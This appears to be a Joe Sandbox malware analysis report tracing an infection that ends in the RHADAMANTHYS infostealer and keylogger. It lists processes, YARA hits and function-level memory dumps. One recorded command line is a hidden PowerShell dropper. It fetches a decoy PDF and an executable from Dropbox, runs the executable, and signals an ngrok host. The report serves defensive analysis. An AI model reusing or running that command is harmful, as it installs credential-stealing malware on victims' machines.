Show Windows behavior

Target ID:	20
Start time:	06:13:27
Start date:	17/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\1357945884.bat" "
Imagebase:	0x7ff65c330000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	06:13:27
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	06:13:28
Start date:	17/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/a53f93d43005d4ee2fadb95063c82fef'; }"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	06:13:29
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7480 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	06:13:29
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7480 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	06:13:33
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-GB --service-sandbox-type=collections --mojo-platform-channel-handle=7932 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:13:36
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk C:\Users\user\AppData\Local\Temp\130e969b-e5c7-4340-a2cf-7f225f49c2e1.pdf
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	06:13:38
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --lang=en-GB --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=7392 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:6
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	06:13:39
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=2076,i,7269790282786459060,13954884580645098759,262144 /prefetch:3
Imagebase:	0x7ff6ae840000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	06:14:19
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe"
Imagebase:	0x400000
File size:	25'100'288 bytes
MD5 hash:	9BFDFAADE8C1612270DA2A69959756A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	06:14:23
Start date:	17/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6904 --field-trial-handle=2004,i,6125196134689574835,16404687201696190327,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	06:14:37
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exe"
Imagebase:	0x400000
File size:	25'100'288 bytes
MD5 hash:	9BFDFAADE8C1612270DA2A69959756A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000025.00000003.3117851872.0000000002EE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000025.00000003.3123968132.0000000005600000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000025.00000003.3123749543.00000000053E0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000025.00000002.3141369751.0000000003200000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	06:14:39
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\fontdrvhost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\fontdrvhost.exe"
Imagebase:	0x9b0000
File size:	676'584 bytes
MD5 hash:	8D0DA0C5DCF1A14F9D65F5C0BEA53F3D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000026.00000002.3231480908.00000000035A0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000026.00000003.3125312167.0000000003590000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000026.00000003.3129571735.00000000057F0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000026.00000003.3129285387.00000000055D0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	06:14:39
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6852 -s 420
Imagebase:	0x2c0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	06:14:50
Start date:	17/12/2024
Path:	C:\Windows\System32\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\fontdrvhost.exe"
Imagebase:	0x7ff7d9200000
File size:	827'408 bytes
MD5 hash:	BBCB897697B3442657C7D6E3EDDBD25F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	06:14:53
Start date:	17/12/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 2276 -s 144
Imagebase:	0x7ff6abe00000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FFD340B33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2534360882.00007FFD340B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD340B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd340b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 867af5938201385d73e765ea04fc031d164a0d4248befc240cbadba36cc7bfaa
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: EF01677121CB0C4FDB44EF0CE451AA6B7E0FB99364F50056DE58AC3651DB36E882CB45

Non-executed Functions

Function 00007FFD340B2733 Relevance: .3, Instructions: 324COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2534360882.00007FFD340B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD340B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd340b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c31733de349ff4a4a554735156a619765473ba8ca26241b5fe87095dd0a524a6
Instruction ID: e7e8b1ddf1bf8826ca9c72a4b0bce39f458a539878c5a0121aa75faef90a66ae
Opcode Fuzzy Hash: c31733de349ff4a4a554735156a619765473ba8ca26241b5fe87095dd0a524a6
Instruction Fuzzy Hash: 54B16057B0E7D20FE713977C68B90E97FA0DF5722474902FBC5D88A0A3ED18580AA395

Analysis Process: powershell.exePID: 8836, Parent PID: 8760COMMON

Executed Functions

Function 00007FFD341932E5 Relevance: .4, Instructions: 431COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3115246369.00007FFD34190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd34190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bc940e478b874e8efac5252e2ce7a4303fa7aa9909f47407764ab1889c1f20f
Instruction ID: be6082f26f87d3730069c32cee086650ab6e86875aa039b9c56e69aa147b51b7
Opcode Fuzzy Hash: 9bc940e478b874e8efac5252e2ce7a4303fa7aa9909f47407764ab1889c1f20f
Instruction Fuzzy Hash: 8AD11733B0EA8D4FE7A6EB6888A55B57BD1EF5A350B0801FED14DC7193DA18AC05C381

Function 00007FFD340CA66D Relevance: 2.8, Strings: 2, Instructions: 284COMMON

Download Yara Rule

Strings

I@x , xrefs: 00007FFD340CA6B3
I@x , xrefs: 00007FFD340CA835

Memory Dump Source

Source File: 00000016.00000002.3114011651.00007FFD340C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD340C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd340c0000_powershell.jbxd

Similarity

API ID:
String ID: I@x $I@x
API String ID: 0-465647840
Opcode ID: 7e8bfe81209f900c516ed4a762eff77e729b105de8576c2a3d6c0e03f6eb3c34
Instruction ID: 45bb2472b1689a487de5cd29984a09610ebe79d910713e9676a75175bbe19191
Opcode Fuzzy Hash: 7e8bfe81209f900c516ed4a762eff77e729b105de8576c2a3d6c0e03f6eb3c34
Instruction Fuzzy Hash: 7AA11531A0D6888FEB65DB6888557A9BBF0EF52304F1442FFC08DE7193DA389949DB41

Function 00007FFD341934F3 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3115246369.00007FFD34190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd34190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5b92b8627f8f6ab8b317b58194303a67a3f0d8f1cc5793353b51fa456b07d15
Instruction ID: 070aece3d4e7b916ebb13807d4f6bb02677aae7dd06f42471ccbf5ccd854f955
Opcode Fuzzy Hash: c5b92b8627f8f6ab8b317b58194303a67a3f0d8f1cc5793353b51fa456b07d15
Instruction Fuzzy Hash: 7211A033B0EA8D4FEBA5DE9890A41B8BBD1EF5D310F5401BFD14DD7192EA29A8419390

Function 00007FFD340C3875 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3114011651.00007FFD340C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD340C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd340c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: 0f3da6e03fdef2ed96082d0a4b5b82af2473ccd7a0754424be3b7f4e730e0985
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: B501677121CB0C8FDB48EF0CE491AA5B7E0FB99364F50056EE58AC3695D736E881CB46

Non-executed Functions

Function 00007FFD340C9998 Relevance: 24.2, Strings: 19, Instructions: 443COMMON

Download Yara Rule

Strings

4B4, xrefs: 00007FFD340C9D51
h@B4, xrefs: 00007FFD340C9AF9
3B4, xrefs: 00007FFD340C9CD1
H3B4, xrefs: 00007FFD340C9C81
(@B4, xrefs: 00007FFD340C9AD9
(AB4, xrefs: 00007FFD340C9B59
h>B4, xrefs: 00007FFD340C99F9
(?B4, xrefs: 00007FFD340C9A59
H?B4, xrefs: 00007FFD340C9A69
HAB4, xrefs: 00007FFD340C9B69
h?B4, xrefs: 00007FFD340C9A79
hBB4, xrefs: 00007FFD340C9BF9
(BB4, xrefs: 00007FFD340C9BD9
(3B4, xrefs: 00007FFD340C9C71
(>B4, xrefs: 00007FFD340C99D9
h4B4, xrefs: 00007FFD340C9D11
hAB4, xrefs: 00007FFD340C9B79
(5B4, xrefs: 00007FFD340C9D71
H5B4, xrefs: 00007FFD340C9D81

Memory Dump Source

Source File: 00000016.00000002.3114011651.00007FFD340C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD340C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd340c0000_powershell.jbxd

Similarity

API ID:
String ID: (3B4$(5B4$(>B4$(?B4$(@B4$(AB4$(BB4$H3B4$H5B4$H?B4$HAB4$h4B4$h>B4$h?B4$h@B4$hAB4$hBB4$3B4$4B4
API String ID: 0-3103070371
Opcode ID: 3ad5727fcb0e5c6d59f38c600f501919d6d630092cc3c8a35a1cd24422691c91
Instruction ID: 974e89bead701dcd2197a1fcfb4d7bcd758e22903446fc4adcef582213bc365f
Opcode Fuzzy Hash: 3ad5727fcb0e5c6d59f38c600f501919d6d630092cc3c8a35a1cd24422691c91
Instruction Fuzzy Hash: 03E1C787F0F9C15FFB61866C1DA50296FE1EF5361474802FBD5C59E0DBA80CAD0AA782

Function 00007FFD340C9DB0 Relevance: 12.8, Strings: 10, Instructions: 299COMMON

Download Yara Rule

Strings

9B4, xrefs: 00007FFD340C9FD1
h8B4, xrefs: 00007FFD340C9F11
H9B4, xrefs: 00007FFD340C9F81
6B4, xrefs: 00007FFD340C9E51
:B4, xrefs: 00007FFD340CA051
h:B4, xrefs: 00007FFD340CA011
7B4, xrefs: 00007FFD340C9ED1
(9B4, xrefs: 00007FFD340C9F71
h6B4, xrefs: 00007FFD340C9E11
8B4, xrefs: 00007FFD340C9F51

Memory Dump Source

Source File: 00000016.00000002.3114011651.00007FFD340C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD340C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd340c0000_powershell.jbxd

Similarity

API ID:
String ID: (9B4$H9B4$h6B4$h8B4$h:B4$6B4$7B4$8B4$9B4$:B4
API String ID: 0-4275098921
Opcode ID: 5d706ff8002d33da3c549ab39806206bd3916c6ed93098f8d366287f1f98c317
Instruction ID: f8ce225e506d72c63c703d6bedb09b8b11311e38e06222cf25bda61b27c864ea
Opcode Fuzzy Hash: 5d706ff8002d33da3c549ab39806206bd3916c6ed93098f8d366287f1f98c317
Instruction Fuzzy Hash: AEA1E643B0FAC29FEB6286BC19691296FE1AF5325471841FFC5C48E0DBD44DAC0AB742

Function 00007FFD340C8178 Relevance: 21.5, Strings: 17, Instructions: 271COMMON

Download Yara Rule

Strings

HoB4, xrefs: 00007FFD340C82D9
hoB4, xrefs: 00007FFD340C82E9
nB4, xrefs: 00007FFD340C82A9
HmB4, xrefs: 00007FFD340C81D9
mB4, xrefs: 00007FFD340C8229
(nB4, xrefs: 00007FFD340C8249
hmB4, xrefs: 00007FFD340C81E9
HpB4, xrefs: 00007FFD340C8359
oB4, xrefs: 00007FFD340C8329
(mB4, xrefs: 00007FFD340C81C9
pB4, xrefs: 00007FFD340C83A9
hnB4, xrefs: 00007FFD340C8269
(oB4, xrefs: 00007FFD340C82C9
lB4, xrefs: 00007FFD340C81A9
HnB4, xrefs: 00007FFD340C8259
(pB4, xrefs: 00007FFD340C8349
hpB4, xrefs: 00007FFD340C8369

Memory Dump Source

Source File: 00000016.00000002.3114011651.00007FFD340C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD340C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd340c0000_powershell.jbxd

Similarity

API ID:
String ID: (mB4$(nB4$(oB4$(pB4$HmB4$HnB4$HoB4$HpB4$hmB4$hnB4$hoB4$hpB4$lB4$mB4$nB4$oB4$pB4
API String ID: 0-2291177321
Opcode ID: 39242e176aa99289061a7ded27b41a8a578efe24126bc670af5d331bacd961ab
Instruction ID: ad3629c200b7cdd7d2bb2fa7edfe5a70c4dbcbc05aa191c21c4ecabaaf184d37
Opcode Fuzzy Hash: 39242e176aa99289061a7ded27b41a8a578efe24126bc670af5d331bacd961ab
Instruction Fuzzy Hash: 0471E693B0FCC04FFF55455C59E51296A90FB8361471402FBE9989E1DFA81CED0EB288

Function 00007FFD340C7876 Relevance: 9.2, Strings: 7, Instructions: 403COMMON

Download Yara Rule

Strings

p04, xrefs: 00007FFD340C78C9
@04, xrefs: 00007FFD340C7899
P04, xrefs: 00007FFD340C78A9
004, xrefs: 00007FFD340C7889
`04, xrefs: 00007FFD340C78B9
04, xrefs: 00007FFD340C7879
04, xrefs: 00007FFD340C7939

Memory Dump Source

Source File: 00000016.00000002.3114011651.00007FFD340C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD340C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd340c0000_powershell.jbxd

Similarity

API ID:
String ID: 04$004$@04$P04$`04$p04$04
API String ID: 0-1836579229
Opcode ID: 4aebd108f3b075739449ac4b028c707682d216ae1e88ebec136ff84680b6ba31
Instruction ID: e2329bedeec93fbfa3ba392b7d4431351aa8ce00982b0a9283adcbb3a5aea46f
Opcode Fuzzy Hash: 4aebd108f3b075739449ac4b028c707682d216ae1e88ebec136ff84680b6ba31
Instruction Fuzzy Hash: 1DB10EC7F0F8C24FF359485C7D612286990FBC669875483FBE1989F1CF6858EE0A2680

Function 00007FFD340C7715 Relevance: 7.6, Strings: 6, Instructions: 84COMMON

Download Yara Rule

Strings

H04, xrefs: 00007FFD340C7761
804, xrefs: 00007FFD340C7751
h04, xrefs: 00007FFD340C7781
x04, xrefs: 00007FFD340C7791
(04, xrefs: 00007FFD340C7741
X04, xrefs: 00007FFD340C7771

Memory Dump Source

Source File: 00000016.00000002.3114011651.00007FFD340C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD340C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd340c0000_powershell.jbxd

Similarity

API ID:
String ID: (04$804$H04$X04$h04$x04
API String ID: 0-3631059655
Opcode ID: ce4f0255cc6670bd25871d58bfbfe6f3345554c4be267e8d0c2012dabf5d87f1
Instruction ID: 3c77866cdd923c6a182f62f9f4589bf1ea51dfb18bd78d41136432c842732419
Opcode Fuzzy Hash: ce4f0255cc6670bd25871d58bfbfe6f3345554c4be267e8d0c2012dabf5d87f1
Instruction Fuzzy Hash: 0221C8C7B0F9C74BF759891C29E64296F50AB4322470853FBE5858F0CF840DED0AA745

Function 00007FFD340C98A8 Relevance: 6.3, Strings: 5, Instructions: 97COMMON

Download Yara Rule

Strings

h=B4, xrefs: 00007FFD340C9979
H=B4, xrefs: 00007FFD340C9969
h<B4, xrefs: 00007FFD340C98F9
(=B4, xrefs: 00007FFD340C9959
(<B4, xrefs: 00007FFD340C98D9

Memory Dump Source

Source File: 00000016.00000002.3114011651.00007FFD340C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD340C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffd340c0000_powershell.jbxd

Similarity

API ID:
String ID: (<B4$(=B4$H=B4$h<B4$h=B4
API String ID: 0-3219558038
Opcode ID: 6ad063ea76d0611abbc19204304b08f7bd078b724d8f20ae0f120043b168e827
Instruction ID: eb61ba0c42e7953c7824479ad1cf0e49d9c302e89e67401ccbfb7ab5fff023ef
Opcode Fuzzy Hash: 6ad063ea76d0611abbc19204304b08f7bd078b724d8f20ae0f120043b168e827
Instruction Fuzzy Hash: E8314783B0F5C15FFB61466C19A51295EA1FF5361475802FBD5D48B0DBB80CEE0AAA82

Analysis Process: 9840ee24-ca7e-4dd6-a855-1e9dc96f8845.exePID: 6852, Parent PID: 9064COMMON

Executed Functions

Function 02C692CC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,00000000,?,?), ref: 02C69314

Part of subcall function 02C69098: VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 02C690C1
Part of subcall function 02C69098: VirtualFree.KERNELBASE(00000000,00000000,?), ref: 02C6926D

VirtualAlloc.KERNELBASE(00000000,00400000,00001000,00000004), ref: 02C69366
VirtualProtect.KERNELBASE(0000002C,?,00000040,0000002C), ref: 02C693C0
VirtualFree.KERNELBASE(00000000,00000000,?), ref: 02C693F3

Strings

,, xrefs: 02C69344

Memory Dump Source

Source File: 00000025.00000003.3125257943.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_3_2c30000_9840ee24-ca7e-4dd6-a855-1e9dc96f8845.jbxd

Similarity

API ID: Virtual$Alloc$Free$Protect
String ID: ,
API String ID: 1004437363-3772416878
Opcode ID: 846e80d9192284de11e110977aaee4205ca63ec1a267e246cbf1a7208dcc7df3
Instruction ID: 8da3073f00575c9b893b94fbd3393d104e710ec63754a8c9a0ed6eae59c0ffa3
Opcode Fuzzy Hash: 846e80d9192284de11e110977aaee4205ca63ec1a267e246cbf1a7208dcc7df3
Instruction Fuzzy Hash: 4151EBB5900709AFCB10DFA9C8C4BAEBBF4FF08354F14851AE959A7640D370EA51CB94

Function 02C60BA2 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 02C60C27
__alloca_probe_16.LIBCMT ref: 02C60CF0
__freea.LIBCMT ref: 02C60D57
__freea.LIBCMT ref: 02C60D6A
__freea.LIBCMT ref: 02C60D77

Memory Dump Source

Source File: 00000025.00000003.3125257943.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_3_2c30000_9840ee24-ca7e-4dd6-a855-1e9dc96f8845.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID:
API String ID: 3509577899-0
Opcode ID: 1be91d8a154cd190a9917101ad2b73bfb18f513ae0a9d3aea51ae3776b96170d
Instruction ID: 9748f6235ee40fb4ee89d6c16aa4bbc6549a056b39ec441b613f561d41696835
Opcode Fuzzy Hash: 1be91d8a154cd190a9917101ad2b73bfb18f513ae0a9d3aea51ae3776b96170d
Instruction Fuzzy Hash: BE51A272600206AFDB219F65CCC8EBB7BAAFF84714F154229FD04E7150E732EA50DA60

Function 02C69098 Relevance: 2.7, APIs: 2, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 02C690C1
VirtualFree.KERNELBASE(00000000,00000000,?), ref: 02C6926D

Memory Dump Source

Source File: 00000025.00000003.3125257943.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_3_2c30000_9840ee24-ca7e-4dd6-a855-1e9dc96f8845.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction ID: 0027b47f35bb41828b49457b793629acebb75c7188f0396d7010a51749625cc8
Opcode Fuzzy Hash: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction Fuzzy Hash: B6717A71E0424ADFDB41CF99C985BEEBBF0AB09314F244095E466FB241C334AA91DF64

Function 02C61748 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000000,00000000,?,02C612D6,00000001,00000364,00000000,?,000000FF,?,02C644E3,?,?,00000000), ref: 02C61789

Memory Dump Source

Source File: 00000025.00000003.3125257943.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_3_2c30000_9840ee24-ca7e-4dd6-a855-1e9dc96f8845.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
